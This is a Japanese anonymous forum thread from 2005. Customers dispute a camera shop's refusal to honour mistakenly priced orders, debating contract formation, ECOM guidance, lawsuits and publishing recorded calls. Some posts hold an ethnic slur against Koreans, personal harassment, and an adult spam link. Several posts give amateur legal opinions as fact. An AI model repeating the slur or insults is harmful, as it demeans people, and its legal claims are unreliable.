663 ：番組の途中ですが名無しです ：05/03/04 23:56:46 ID:P59UsuWP: 59分にキャンセルメール到着とかやってくれたらさすがに笑う。
664 ：番組の途中ですが名無しです ：05/03/04 23:56:57 ID:ME/sEXeX: ハニワが売らないと強固な姿勢を保っている以上は、
各個で諸機関を通じて対応策を模索するしかないわな。
本気の香具師や本体が安いからとアクセサリを買った香具師は、
調停や少額裁判なんかもマジで考えるべき。
所轄や市町村単位の無料法律相談なんかも使うんだね。

そういうことは色々な理由で出来ない、
だけどムカつくから許せないってなら･･･、
自分で告発サイトを立ち上げるくらいしか出来ないでしょ。
告発サイトは一歩間違うとすぐに訴えられるし、
プロバイダに消されることも少なくないから注意が必要だけどね。
665 ：番組の途中ですが名無しです ：05/03/04 23:57:31 ID:yvzLhwkq: ポイント決まると同時に楽天から「キャンセルメール」来ないだろうな。
666 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 00:01:45 ID:Zwwhe3/m: ポイント確定しないぞ。
てかせめてポイント返してくれ。
その分は後で支払い足すからさ。
667 ：番組の途中ですが名無しです ：05/03/05 00:01:57 ID:8rQqBt7b: さぁ、これでさらに問題がややこしくなったのか？
668 ：番組の途中ですが名無しです ：05/03/05 00:02:14 ID:G6qceg73: 乞食には売りません　By 塩Mt
669 ：番組の途中ですが名無しです ：05/03/05 00:03:18 ID:H1KB+3Xx: あれっポイント確定しませんね？
670 ：番組の途中ですが名無しです ：05/03/05 00:06:35 ID:7sAC0HTC: ゴネ厨に勝ち目はない
671 ：番組の途中ですが名無しです ：05/03/05 00:07:22 ID:i6oyq62u: ポイント確定ﾁﾝ☆⌒ 凵＼(＼･∀･) まだぁ?
672 ：番組の途中ですが名無しです ：05/03/05 00:10:20 ID:1vzEEo8A: 一緒にレンズとか買っちゃった人とかマジで可哀想だ、
そのことだけなら経緯を含めて告発サイト立てられないかな･･･と思う。
思うだけ。
673 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 00:11:39 ID:Zwwhe3/m: 日曜の時点で保証はないと抜かしていたからな。
レンズだろうと三脚だろうとしったことないとさ。
674 ：番組の途中ですが名無しです ：05/03/05 00:19:35 ID:dwllMCMg: >>673
三脚は別に問題ないだろｗ
675 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 00:23:12 ID:Zwwhe3/m: とにかく今回のカメラの付属品を買っていようとナニワは知らないってことさ。
676 ：番組の途中ですが名無しです ：05/03/05 00:23:19 ID:1vzEEo8A: 本体価格が安く、それがレンズ等アクセサリの購入動機であるとして、
その本体価格が誤記（無効）であるとすれば、
少なくとも同店での本体価格に関わるアクセサリ類の購入は、
本体価格の無効と同時に購入者側が無効に出来るのではないだろうか？
そうでなければ異常な価格で釣って他の物を売り付けることが可能になる。
確かそういうのはなんかに違反してるはずだよね。
677 ：番組の途中ですが名無しです ：05/03/05 00:25:58 ID:/qfsoVce: 告発サイトね....たとえば上の方で録音してる人がいたけど,あれうｐしたらどういう扱いになるんだろう.

ハニワの対応のまずさとかが明らかになるような内容であったとしたら

録音・うｐした人にはやっぱリスクが発生するわけでしょ？？

たとえうｐした人が,ハニワをおとしめる意図を持っていなかったとしても,ハニワが

そう感じたら刑事告発とかされちゃう？？
678 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 00:26:53 ID:Zwwhe3/m: 一番悲惨なのは別店ですでに買ってしまっている人だよ。
レンズなんて２万３万当たり前だからな。

俺は兄貴から一つ譲って貰うつもりだったから買ってないけど
そうでなかったら確実に一緒に購入してたからな。
不憫だよ。
本体内のにレンズがあっても何も出来ないし。
679 ：番組の途中ですが名無しです ：05/03/05 00:27:37 ID:k4zCtKXa: >>477
だから安くても良いから証拠になる方法で話を聞き出せと逝っているのに
680 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 00:28:14 ID:Zwwhe3/m: >>677
東芝の時みたいに副社長が謝るんじゃないのか？
刑事告発なんてやったらそれはナニワが倒産するときじゃないの？
681 ：番組の途中ですが名無しです ：05/03/05 00:31:22 ID:9GqOy6CE: ボディよりも高価なサンニッパのレンズを新規に買った奴も相当いる筈だ！！
なのに、当初提示した値段でボディーを売らないと言うのはどうみても犯罪。
682 ：番組の途中ですが名無しです ：05/03/05 00:32:46 ID:/qfsoVce: うーんと.　録音してうｐする人には有象無象のリスクがかかるんじゃないかなってことで.

中根氏が聞けば誰だか解るわけだし, 個人情報を握られてる現在ではひょっとしたら...ってことも

ありうるわけだし....
683 ：番組の途中ですが名無しです ：05/03/05 00:35:31 ID:k4zCtKXa: >>529
> 録音しているしていないはこっちの自由だとさ。
> マジで土曜日曜の電話を録音しておけばecomとの回答で
> 完全勝利だったのに…
>
684 ：番組の途中ですが名無しです ：05/03/05 00:37:40 ID:k4zCtKXa: 間違えた･･･orz

>>529
いわんこっちゃない
685 ：番組の途中ですが名無しです ：05/03/05 00:39:08 ID:1vzEEo8A: >>677
録音した人には悪いけど現状では真実性に欠けるからアウトの予想、
告発サイトはあくまでも公益性と真実性を重視しないと危険。
もちろん他人の発言なんかも真実性の検証は「義務」のようです。
「参考」等で転載をしたりする場合も同様なのでかなり危ないと思います。
686 ：番組の途中ですが名無しです ：05/03/05 00:41:45 ID:9GqOy6CE: 東芝のときも録音した音声が決め手で被害者が勝利を掴んだ
687 ：番組の途中ですが名無しです ：05/03/05 00:42:07 ID:1vzEEo8A: 蛇足だけど告訴される可能性はかなり低くても、
人としてやっちゃいけない事はやってはいけない。
688 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 00:42:12 ID:Zwwhe3/m: 俺のコメントを直接電話で聞きたければ協力するよ。
４時間も中根氏と話した人間なんて他にいないだろうし。
689 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 00:44:38 ID:Zwwhe3/m: >>684
言うな…

信義則もへったくれも守ってくれないあいつに言ってくれ。
否定も何も「契約の話はしていない」ことになっていたんだから…

契約の成立だけで土日で３０分は話したはずなんだが…
どうなっているんだ…
690 ：番組の途中ですが名無しです ：05/03/05 00:48:04 ID:MJys7BE8: >>681
それはいても少数だろｗ
691 ：番組の途中ですが名無しです ：05/03/05 00:49:23 ID:8rQqBt7b: １＆５６０は明日ecomにナニワ側が発言を変えたことを連絡して警察いくんだっけ？
録音はなくともこのスレの中根氏が契約成立を認めたときの１＆５６０の書きこみと
発言を翻したときの書きこみも見てもらえば？
人間ならば何かしら感じるものがあるはず。
692 ：番組の途中ですが名無しです ：05/03/05 00:49:43 ID:/qfsoVce: なるほど...　つまり,真実性・公益性を追求するなら録音データを使ってうｐもＯＫ

ただし第三者の証言とそれらの検証の義務は追うってことか.

なんか報道するものの義務って感じだね. カメラを買いたい普通の人にはちょっとキツイかも...

もし間違ってp2pソフトウェアなんかに流れちゃったら、どういう扱いだろう.

過失責任になるのかな...
693 ：番組の途中ですが名無しです ：05/03/05 00:50:45 ID:H1KB+3Xx: それこそ水掛け論になるなこれは・・・・
N氏というか店側は入れ知恵されて我々を混乱させようとしていると思われ・・
694 ：番組の途中ですが名無しです ：05/03/05 00:52:57 ID:1vzEEo8A: >>689
相手が知らんと言ってしまえば反証を出して覆すしかないが、
悔しいけど証拠を残せなかったのなら仕方が無い。
695 ：番組の途中ですが名無しです ：05/03/05 00:59:09 ID:h0XTbK8K: >>689
人間どこまでもクズになれるもんだなぁ
ということが判りました

きっと彼にはプライドを持ったいい仕事はできないんでしょうなぁ
696 ：番組の途中ですが名無しです ：05/03/05 01:00:26 ID:1vzEEo8A: >>692
その通り、報道(公開)する人の義務や責任だね。
p2pで故意ではなく流れてしまったのなら過失責任は問われても仕方ないかな？
どっかの警察とかが重要なデータ流して騒いでたっけ･･･
697 ：番組の途中ですが名無しです ：05/03/05 01:01:25 ID:vfhnzvOg: >>695
こんな何百、何千人が見てるかわからないところで、
ようそんな恥知らずのことができるな。
どこへ行っても、あのときのあいつだと後ろ指をさされることになるで。
698 ：番組の途中ですが名無しです ：05/03/05 01:02:41 ID:8rQqBt7b: 権利があろうが無かろうがナニワは訴えれる立場じゃないわけだが。
自滅するだけ。
699 ：番組の途中ですが名無しです ：05/03/05 01:03:24 ID:fHRulzjW: >>696
警察はともかく、録音した人はその内容を漏らしちゃ駄目とかいう義務は負うのかな。
過失ってことは守るべき責務について過失があったってことになるだろうし。
700 ：番組の途中ですが名無しです ：05/03/05 01:04:29 ID:+/m7q2Je: ﾅﾆﾜもラボと同じように「文句があるなら裁判でもなんも起しやがれ」ときましたね。
もう法的手段に出ない限り売ってはくれないだろう。
701 ：番組の途中ですが名無しです ：05/03/05 01:06:07 ID:faHdrp2J: たしか、録音を公開するかもしれない条件がある場合はそれを前もって
相手に伝えてから、話しをしなければいけないんじゃなかたっけ？
702 ：番組の途中ですが名無しです ：05/03/05 01:07:57 ID:fHRulzjW: >701
確か、裁判上で証拠として扱う場合にはそうする必要があったような……。
ただ単に電話口での応答について録音していた内容がP2Pで漏れちゃった！となっても
こりゃどうしようもないような気もする。
703 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 01:10:20 ID:Zwwhe3/m: 「録音するのはそちらの勝手にどうぞ」ｂｙ中根氏
704 ：番組の途中ですが名無しです ：05/03/05 01:17:18 ID:1vzEEo8A: >>699
電話の内容も信書なんかと同等だとすれば、
ある程度の守秘義務のようなものは生ずると思うから、
無闇に公開しない方が良さそうな気がする。
個人間であれば内容次第でプライバシー侵害になるケースもあるわけだし･･･
705 ：番組の途中ですが名無しです ：05/03/05 01:19:13 ID:2PH/jYJ2: 電話の最後に「今までの会話は録音させてもらいましたが、
インターネットで公開させてもらってもかまいませんか？」
と訪ねて了承を得れば良いだけ。
得られなければ、何故公開できないのか小一時間・・

東芝の時もそうしてたしね。
706 ：番組の途中ですが名無しです ：05/03/05 01:20:13 ID:2wmF2Q1p: 肉声をそのまま公開する必要はない。
文字起こしして公開し、録音はいつでも訴訟等に提出できますよとしておけばよい。
707 ：番組の途中ですが名無しです ：05/03/05 01:32:32 ID:MedTN0iR: 少額訴訟は契約の履行や商品の引き渡し要求には使えないんだよな。

通常訴訟を起こすしかないわけだが。
708 ：番組の途中ですが名無しです ：05/03/05 01:40:21 ID:8rQqBt7b: >>495
自動返信メールの主張はあらかじめHP上に記載せれていない為無効。
ecom（契約成立しているとは言えない場合）
※ あらかじめ注文を受ける前にウェブ上にて
「自動返信メールを受信しただけでは、まだ契約は成立しません」といった明記があり、
尚且つ、自動返信メールに「このメールを受信しただけでは、まだ契約は成立していません」といった内容が明記されている。

495 番組の途中ですが名無しです
俺　「契約成立しているけど解除を申し出てられる、ということでいいか？」
中根「そうではない。価格表示にミスがあったのは確かだが、それに加えて契約成立していない」
俺　「どうして？」
中根「楽天からの自動配信メールには"契約成立は店舗からのメールがあった時点"という
　　　文がある。だからこちらからメールを送ってからはじめてお取引になる」
俺　「携帯メールを入れた場合の自動配信メールにはそんな一文無いみたいだけど？」
中根「…………」
俺　「どうなの？」
中根「……契約という考え方ではないんですね」　←！！！！！！！
709 ：番組の途中ですが名無しです ：05/03/05 01:40:21 ID:sGYlvTWS: うん．．．少額訴訟はお金の請求のみですね。
それも双方の金額の相違があったりするとアウトだし。
710 ：番組の途中ですが名無しです ：05/03/05 01:40:41 ID:fHRulzjW: なんとまあ。店舗側の過失から起こっていることなのに、消費者がわりを食うわけか。。

しかし、今回中根氏・ナニワが注文した人間に対していい加減な対応をしてきたか、
一週間のうちに説明や対応が二転三転する始末については、カメラ好きの人間の中に
しっかり残ることを忘れて欲しくないもんだな。
711 ：番組の途中ですが名無しです ：05/03/05 01:47:30 ID:+/m7q2Je: >>710
そうだね。
少なくともこれに関わった人は忘れることができないだろう。

漏れの予想ではもう売らないだろうから、
それでも欲しい人は裁判するか諦めるなら個人情報、
特定商取引法で責めていくしかないかと。
712 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 01:55:12 ID:Zwwhe3/m: まあ司法の場に出るのは一個人では無理だしな。
第一俺たちが集団訴訟にして長期裁判になっても
一年くらいで新型が出るデジカメでは割に合わない。
決着がつく頃には新型が出ているだろうな。
713 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 01:57:23 ID:Zwwhe3/m: どっちにしろ正直馬鹿にされている気がするんで
明日警察に行くよ。
せめて公権力の場に話を持っていきたいからね。

丸紅の時はマスコミがくいついてきたの今回は全くの沈黙を守っているのはなぜだろう？
714 ：番組の途中ですが名無しです ：05/03/05 01:58:31 ID:8rQqBt7b: 少なくとも携帯組は返信メールに売買契約成立云々がないから売ってもらえるのではないか？
俺はPCだが。
715 ：番組の途中ですが名無しです ：05/03/05 02:03:13 ID:+/m7q2Je: >>714
どっちにしろハニワが「売らない」と言えば売らないんだから
もうだめなんじゃないかなぁと個人的には思うのです。

もう公的機関になんとかしてもらうしかない時期な気がします。
716 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 02:03:23 ID:Zwwhe3/m: 携帯組は郵便がくるらしいがはっきりいってナニワ不利。
だってメールの時点でもう契約成立だから。
俺が今回翻されたみたいに「申し込みの拒否」ではないからな。
携帯組が違約金をもとめて少額訴訟をしたらまず勝てるだろうな。
ただ、通常訴訟に移るから絶対に長期化するが。

ecomからのコメントが正しいのならば
弁護士さえつけばまず勝てる。
やはり本当に「売ってもらいたい」のであれば集団訴訟しかないのかな…
717 ：番組の途中ですが名無しです ：05/03/05 02:15:35 ID:8rQqBt7b: >１＆５６０
もう1度ecomに売買契約の見解について聞かれては？

http://www.ecom.or.jp/adr/ja/topics/tp_03.htm

（契約成立しているとは言えない場合）
※ あらかじめ注文を受ける前にウェブ上にて
「自動返信メールを受信しただけでは、まだ契約は成立しません」といった明記があり、
尚且つ、自動返信メールに「このメールを受信しただけでは、まだ契約は成立していません」といった内容が明記されている。
↑
たしかに今回はPCへの自動返信メールには記載されているが、あらかじめウェブ上に記載されていない。
よって売買契約成立しているのではないか？押しが弱いということなんだろうか。
718 ：番組の途中ですが名無しです ：05/03/05 02:19:14 ID:h0XTbK8K: >>717
俺もそう思いたいところだが
「販売の流れ」だとかいうページに記載あるんだとよ　by　ECOM
719 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 02:28:57 ID:Zwwhe3/m: とりあえず態度を翻した、とecomには伝えた。
まあ月曜には返信が来るのではないかな？

あともう一回経済産業省にメールしとくか。

押しが弱いなんてことはない。
合法的で俺より押しが強いなんて法律関係者ぐらいだろう。
じゃなかったら中根氏と本社で合わせて５時間以上も話をしないよ。

もう寝る。おやすみ。
頭にきてるから眠れるかどうかわからないけど。
720 ：番組の途中ですが名無しです ：05/03/05 02:29:22 ID:8rQqBt7b: ここだな。
http://www.rakuten.ne.jp/gold/naniwa/nagare.html
>ご注文確定後、楽天市場から自動的に確認のメールが送信されます。
「自動返信メールを受信しただけでは、まだ契約は成立しません」とは書かれていないんだがなぁ。

また、ナニワからの確認メールで契約が成立するとも書かれていないし。うーん。あんまりすっきりしないな。
721 ：番組の途中ですが名無しです ：05/03/05 02:29:46 ID:+/m7q2Je: 要はWebページ上にきちんと「契約の流れ」が書いてなければ
いくらメールで言っても関係ないってことでしょ？
722 ：番組の途中ですが名無しです ：05/03/05 02:31:23 ID:8rQqBt7b: >>719
おつかれ！
押しが弱いってのは↓これについてだよ。片一方には記載されているから攻めるには押しが弱いのかと思っただけ。
たしかに今回はPCへの自動返信メールには記載されているが、あらかじめウェブ上に記載されていない。
723 ：番組の途中ですが名無しです ：05/03/05 02:38:00 ID:dwllMCMg: キチガイの集うスレはここじゃないですね。
724 ：番組の途中ですが名無しです ：05/03/05 02:51:15 ID:jJhV36iH: 　　　　　　　　　　　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　,＿＿　　　　　| 　カメラ買えますように
　　／　　.／＼　　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　／　　.／( ・ ).＼　　　　　　o〇　　　　　ヾ!;;l;::lilii|//"
／_____／ .（´ｰ｀）　,＼　　 ∧∧　　　　　　　 |;;l;;::|liii|/ﾞ
￣|| || || ||. |っ￠..||￣　　（,,　　）　ﾅﾓﾅﾓ　　 |;;l;;::||iii|
　 || || || ||./,,,　|ゝ iii~ 　　⊂　ヾ..　　　　　　 |;;|;l;::i|ii|
　 |￣￣￣|~~凸（￣）凸　.（ﾞ　 ,,,）～　ｗｊｗｊｊｒｊ从ｊｗｗｊｗｊｊｒｊ从ｊｒ
ﾞﾞ""""ﾞﾞ"""""""""""""""""""""""""ﾞﾞ　　　ﾞﾞﾞ　　　ﾞﾞﾞﾞﾞﾞﾞ　　　
725 ：番組の途中ですが名無しです ：05/03/05 03:25:06 ID:tUoQ7xY3: どうなりました？
死んでた
726 ：番組の途中ですが名無しです ：05/03/05 03:58:58 ID:1vzEEo8A: >>725
見ての通りだ、全て事実であれば悪化したと言っても良い気も･･･
727 ：番組の途中ですが名無しです ：05/03/05 04:07:42 ID:bSsmZ+DF: >>726
見てない
読むか・・・。
728 ：番組の途中ですが名無しです ：05/03/05 04:46:22 ID:1vzEEo8A: >>727
読み終わった頃には「なんじゃそりゃ～っ！」とか怒ってるだろうな･･･
729 ：番組の途中ですが名無しです ：05/03/05 04:50:20 ID:Hsp7b6nm: 社員の赤裸々な姿が笑えるスレになってきたな。
730 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 05:03:24 ID:Zwwhe3/m: 気が立って全く眠れないんだが…
最大の屈辱だよ。
教授よりも腹立つわ。
731 ：番組の途中ですが名無しです ：05/03/05 05:22:08 ID:1vzEEo8A: >>730
いまは堪えるしかない、
その怒りのベクトルを間違った方向には行かないようにして頑張ってくれ。
732 ：番組の途中ですが名無しです ：05/03/05 05:33:33 ID:+t21mrVe: 何があったんだ？
目が疲れて読みたくない
733 ：番組の途中ですが名無しです ：05/03/05 05:39:04 ID:e9TIlGuV: 5時過ぎたけどポイント確定しないな・・・
734 ：番組の途中ですが名無しです ：05/03/05 05:42:13 ID:+t21mrVe: >>733
もう手を打っているのかもなｗ
メディアラボの店長の迷走ぶりよりすごいんですか？
┌| ∵|┘は
735 ：番組の途中ですが名無しです ：05/03/05 05:51:09 ID:4QQb4g/j: おい社員！
キス丼と一緒に頼んだ商品がまだこねーぞ。
再三の連絡しても不通だし、どうなってんだ？
736 ：番組の途中ですが名無しです ：05/03/05 08:07:36 ID:7TYhSXBQ: 「自動返信メールを受信しただけでは、まだ契約は成立しません」と言う
文が申し込み時の個人情報を端末（PC)打ち込む際、画面上に記載されていないと
店側が言う「契約は成立していません」と言うのは通らないと言うこと、

みんなわかった？
「注文確認メール」に「「自動返信メールを受信しただけでは、まだ契約は成立しません」
という文章は無意味です。
737 ：番組の途中ですが名無しです ：05/03/05 08:15:53 ID:e9TIlGuV: 注文してから8日目の朝になってもポイントが確定しないので楽天に抗議したいんだがな・・・
738 ：番組の途中ですが名無しです ：05/03/05 08:26:24 ID:fHRulzjW: 一晩寝て起きてから考えてみた。

もの凄い不誠実だよなー。いや>>1&560に対する答えも不誠実だけど、>>1&560以外の人が
電話しても　「契約成立の時期については電話では答えられない」って言うんだからな。

おかしいだろこれ！？
注文した人間が「商品送ってくださいね」って電話してるのに「答えられない」っていうのは。
答えられない理由は「商品価格表示ミス」であってその原因は「ナニワの過失」であるわけで。

本当に商売している人間の対応なのかと思うくらいだよ。
ほんとに。。。
739 ：番組の途中ですが名無しです ：05/03/05 08:29:20 ID:i6oyq62u: 正規の方法で購入したのにポイントを加算しない楽天は糞
740 ：番組の途中ですが名無しです ：05/03/05 08:35:57 ID:fHRulzjW: >>738に追記

これが　「送ります、売ります」とか「送りません、売りません」なら話のしようもあるけど、
「それについては答えられない」というのが不誠実。

俺とあんた方は契約を結んだんだぜ？
売買契約でもって、商品引き渡しの債務と金銭支払いの債務を相互に負ってるんだぜ？

その契約主体の一方が問い合わせているにもかかわらず「契約成立の時期については答えられない」
ってそりゃいったいどういうことだよ。　そういう対応自体が不誠実かつ悪質だよ。

で、メールでもって連絡くれるとは言うけど未だに来ないし。
申し込みをしてから一週間経つのにな・・。
741 ：番組の途中ですが名無しです ：05/03/05 08:41:24 ID:o/XCkhfy: 結局売るのか売らないのかって聞けば売らないって言うんだろ？
理由は説明しないの？
742 ：番組の途中ですが名無しです ：05/03/05 08:43:21 ID:fHRulzjW: >>741

それが、答えられない、メールで返答、ばっかりなんだよ。
ようやく>>1&560が長電話した結果返答をもらえたようだけど、そういう対応は例外に近いみたいだ。
743 ：番組の途中ですが名無しです ：05/03/05 08:44:30 ID:KkuJqPH2: キャンセルって契約のキャンセルじゃないの？
キャンセルさせろってのは何をキャンセルするつもりなんだ？＞ナニワ
744 ：番組の途中ですが名無しです ：05/03/05 08:48:15 ID:o/XCkhfy: >>742
フリーダイヤルまで用意して
電話したら何も答えられない
メールで答えるっていうの？

何も答えないのか？
売ってくれっていっても何も答えられないと？
意味不明だな
745 ：番組の途中ですが名無しです ：05/03/05 08:51:28 ID:T/0N3cfV: 携帯組だけど、どうやら郵便物速達で来たみたい。
まだ見てないから中身わからないけど。
仕事終わったらスキャナかけてサイトにうぷします。
その前に時間あれば内容をここに書くよ。
746 ：番組の途中ですが名無しです ：05/03/05 08:52:51 ID:kDcyim6i: 裸でもどぞ
http://www.syx-vision.com/adult/nicebody/nicebody.cgi
747 ：番組の途中ですが名無しです ：05/03/05 08:52:57 ID:o/XCkhfy: >>745
嫁さん乙
携帯組だけなんだやっぱり
ただの紙切れ一枚だろうな
メールと同じ内容に１００ペリカ
748 ：番組の途中ですが名無しです ：05/03/05 09:02:40 ID:fHRulzjW: >>745

携帯組はその書面が逆にいい効果をもたらすかもしれない。
書面の内容・経緯をecomや消費センターに是非通告して欲しい。

文字数が足らなかったからっていういいわけは、それこそ酷い話だよ。
何を伝えて、何を伝えなくていいかっていう取捨選択を誤ってるって事だからね。
749 ：番組の途中ですが名無しです ：05/03/05 09:04:11 ID:fHRulzjW: >>744

本当、何も答えようとしない。
どんな内容であっても、メールで後日お知らせします、ばっかり。

ほんと何のためのフリーダイアルだよと思うよ。

今日も出勤なんで、また後で昼休みにでも覗くよ。いってきます。
750 ：番組の途中ですが名無しです ：05/03/05 09:05:56 ID:kTPJjVRl: >>749
ﾉｼ
751 ：番組の途中ですが名無しです ：05/03/05 09:38:40 ID:b/A7YciF: 郵便文書2枚。
内容
言い訳うだうだ
詳細はまた後程
日付は3月1日になっている。
昨日届いたんだけど速達って、こんなにかかるものか？
752 ：番組の途中ですが名無しです ：05/03/05 09:46:42 ID:7TYhSXBQ: >>751
メールの内容とほぼ一致ですねこれは。
消印は３月４日になってる！
753 ：番組の途中ですが名無しです ：05/03/05 09:53:40 ID:7TYhSXBQ: >>752
訂正：消印は３日でした。
今、郵便局に電話して聞いてみたら、投函は２日午後みたいだと・・・
754 ：番組の途中ですが名無しです ：05/03/05 09:54:04 ID:pCZIk5FS: ポイントが確定しないよ
755 ：番組の途中ですが名無しです ：05/03/05 10:00:48 ID:B2dlJuAY: まだやってるのかよ
マジ氏ねよキモすぎるんだよ
おまえらみたいな害虫は迷惑なんだよ
756 ：番組の途中ですが名無しです ：05/03/05 10:06:42 ID:B2dlJuAY: まったく日本語が出来ない奴らばっかりだな
売らないって言ってんのわかんないの？
チョーセン人ですか？ｗ
757 ：番組の途中ですが名無しです ：05/03/05 10:07:33 ID:AcQCzsta: ままおまうち
758 ：番組の途中ですが名無しです ：05/03/05 10:08:14 ID:vfhnzvOg: 10時すぎましたね。ナニワ社員様。
今日も一日、奴隷業、ご苦労様です。
759 ：番組の途中ですが名無しです ：05/03/05 10:12:02 ID:B2dlJuAY: 裁判まだー？ﾁﾝﾁﾝ
760 ：番組の途中ですが名無しです ：05/03/05 10:21:57 ID:+O4kXmJp: １＆５６０ ◆yohAYGjGLI ←こいつ何必死になってるの？ｗ
仕事もそのぐらい必死にやって欲しい物ですね
と彼の上司が言ってました
761 ：番組の途中ですが名無しです ：05/03/05 10:29:59 ID:88HvNV6s: 本日のNG推奨ID：ID:B2dlJuAY
　　　　　　　　　　　 ID:+O4kXmJp
762 ：番組の途中ですが名無しです ：05/03/05 10:32:53 ID:+O4kXmJp: また黙殺ですか
嫌なことは見ない聞かないじゃ社会は通用しませんよｗ
逃げちゃダメ
763 ：番組の途中ですが名無しです ：05/03/05 10:36:47 ID:vfhnzvOg: >>760
>>730
「気が立って全く眠れないんだが…
最大の屈辱だよ。
教授よりも腹立つわ。」
教授の奴隷らしいよ。自分より格下の塩山奴隷をみつけて、
優越感に浸ってるんではなかろうか。
でも、うまくいかないんで、「屈辱」を感じたらしい。
「屈辱」なんて言葉は、ふつうは使わんだろう。
僕の場合、侮辱はよくあるが、屈服させられたことはないな。
記憶にないってくらいないな。
屈服とはなんだ?
【屈辱】屈伏させられて恥辱を受けること。(広辞苑)
そうか、ぼくはあんまり屈伏したことはないな。
この人は屈伏多き人生なんだろう。。。。
764 ：↑間違い ：05/03/05 10:38:30 ID:vfhnzvOg: >>760
>>730
「気が立って全く眠れないんだが…
最大の屈辱だよ。
教授よりも腹立つわ。」
教授の奴隷らしいよ。自分より格下の塩山奴隷をみつけて、
優越感に浸ってるんではなかろうか。
でも、うまくいかないんで、「屈辱」を感じたらしい。
「屈辱」なんて言葉は、ふつうは使わんだろう。
僕の場合、侮辱はよくあるが、屈辱させられたことはないな。
記憶にないってくらいないな。
屈辱とはなんだ?
【屈辱】屈伏させられて恥辱を受けること。(広辞苑)
そうか、ぼくはあんまり屈伏したことはないな。
この人は屈伏多き人生なんだろう。。。。
765 ：番組の途中ですが名無しです ：05/03/05 10:43:49 ID:7uKsiGec: >>763-764
誤表記なので訴えます
766 ：番組の途中ですが名無しです ：05/03/05 10:46:06 ID:5qZuiBkd: １０時過ぎたら湧いてきましたね
767 ：& ◆cIYxGPRRGA ：05/03/05 10:47:23 ID:vfhnzvOg: このスレ、どうしても、底辺どうしの足の引っ張り合いという、側面はあるなぁ。
バカオーナー会社の奴隷社員と、傲慢教授の卑屈かばん持ちとの、揚げ足取りの喧嘩じゃ、
ちょと応援する気がうせるわなぁ。
768 ：番組の途中ですが名無しです ：05/03/05 10:49:15 ID:1frNf4Q4: 遅まきながら
経済産業省→ecomまで進んだよ
このままだと内容証明→民事訴訟だな
めんどくさいけどなにわがメールに返事くんないし
電話にも出ないからしょうがないね
769 ：番組の途中ですが名無しです ：05/03/05 10:50:52 ID:KkuJqPH2: ロリ変態の社員はスルーで、相手すると変態なので何するかわからないので注意

携帯での購入者に対する文書は、文字数が足りないのならば
契約後すぐに出す、木曜夜に申し込みなら金曜中には出すのが当然でないかと
てか、文字数云々言うならその旨を自動メールに記載すべきだろ
こんな数日後に出す文書が通るわけないだろうが
770 ：番組の途中ですが名無しです ：05/03/05 10:52:29 ID:7uKsiGec: >>768
早く裁判起こしてよ
いつもみたいに口だけはやめてね

>>769
自分に都合のいい解釈しかできないのかよオメーは
771 ：番組の途中ですが名無しです ：05/03/05 10:57:08 ID:MwEUwlIH: >>769

その通り。後から郵便で送ったから契約成立してないことにしてね、なんてことが
まかり通るのならあらゆる契約について後だしが可能になってしまう。
それこそ許せない。信義則に反する行為。

郵送で文書を受け取った携帯組はぜひecomや消費センターへ相談しに
行って欲しい。>>708にあるように、埴輪は今回の件を適当にやり過ごそうとしている。
こう言えばああ言うを繰り返してる。言ってる内容はまともじゃない。
法務部はあるのか？
772 ：番組の途中ですが名無しです ：05/03/05 10:57:26 ID:pZ1oDMo+: ID:7uKsiGecのやりたいことがﾜｶﾗﾅｲ・・・
773 ：番組の途中ですが名無しです ：05/03/05 10:57:55 ID:7TYhSXBQ: どう頑張っても携帯からの注文者からのナニワは聞くしかないでしょう。

企業同士の契約書でそれやったら終わり！
携帯に帰ってきた文字数ってそんな多かったか？
小学生でもわかる

それで、「携帯注文者のみ販売します！」なんて言えないから
結局、条件付で注文者に販売ってことになるのではないかな～
774 ：番組の途中ですが名無しです ：05/03/05 10:59:01 ID:RO2i4Aye: ＤｏＣｏＭｏの受信メール数って１０００バイトのまま？
775 ：番組の途中ですが名無しです ：05/03/05 10:59:56 ID:7TYhSXBQ: おれはFOMA
776 ：http:// 102.87.111.219.dy.bbexcite.jp.2ch.net/：05/03/05 11:00:10 ID:nlstLsPO: guest
777 ：番組の途中ですが名無しです ：05/03/05 11:02:04 ID:RO2i4Aye: 受信メール数って変だな
778 ：番組の途中ですが名無しです ：05/03/05 11:03:34 ID:MwEUwlIH: >>773
文字数云々の話でもないんだよな。
もし自動返信メールは契約成立でないのなら、ecomの見解のように
請求書的内容を含む必要はない。つまり注文内容や合計金額、支払方法
について記載は必要ない。でもそういう内容を含んでるんだよ。

もし契約成立でないと主張するなら、そういった請求書的内容を含まずに
『このメールは自動配信です。このメールでもって契約成立ではありません。』
と３４文字を加えて送ればいいだけの話だ。それをしてないままに契約不成立
を主張するのは不誠実すぎる。
779 ：番組の途中ですが名無しです ：05/03/05 11:04:30 ID:KkuJqPH2: 電子メールの受信で一番短いのはボーダフォンかもしれない
>全角64文字相当までの短いメッセージが送れるので、急な連絡やちょっとしたやりとりに便利です。全角192文字相当まで受信可能で、受信料は無料です。
>※全角192文字を超えるメッセージを受信するには、ロングEメールサービスへのご加入が必要です。
ロングＥメールサービス加入しないと、かなり短いから
780 ：番組の途中ですが名無しです ：05/03/05 11:06:52 ID:WkUwPYTi: www.jftc.go.jp/JFTC_Guide/cyuikeihin.htm
781 ：番組の途中ですが名無しです ：05/03/05 11:07:35 ID:+O4kXmJp: こそこそsageて何やってるの？
キモいんだよ！
782 ：番組の途中ですが名無しです ：05/03/05 11:10:34 ID:RO2i4Aye: ageたらsageろ
sageたらageろ
783 ：番組の途中ですが名無しです ：05/03/05 11:43:17 ID:h0XTbK8K: ナニワの社員ｻﾝ
どうぞ見解を書き込んでくださいネ
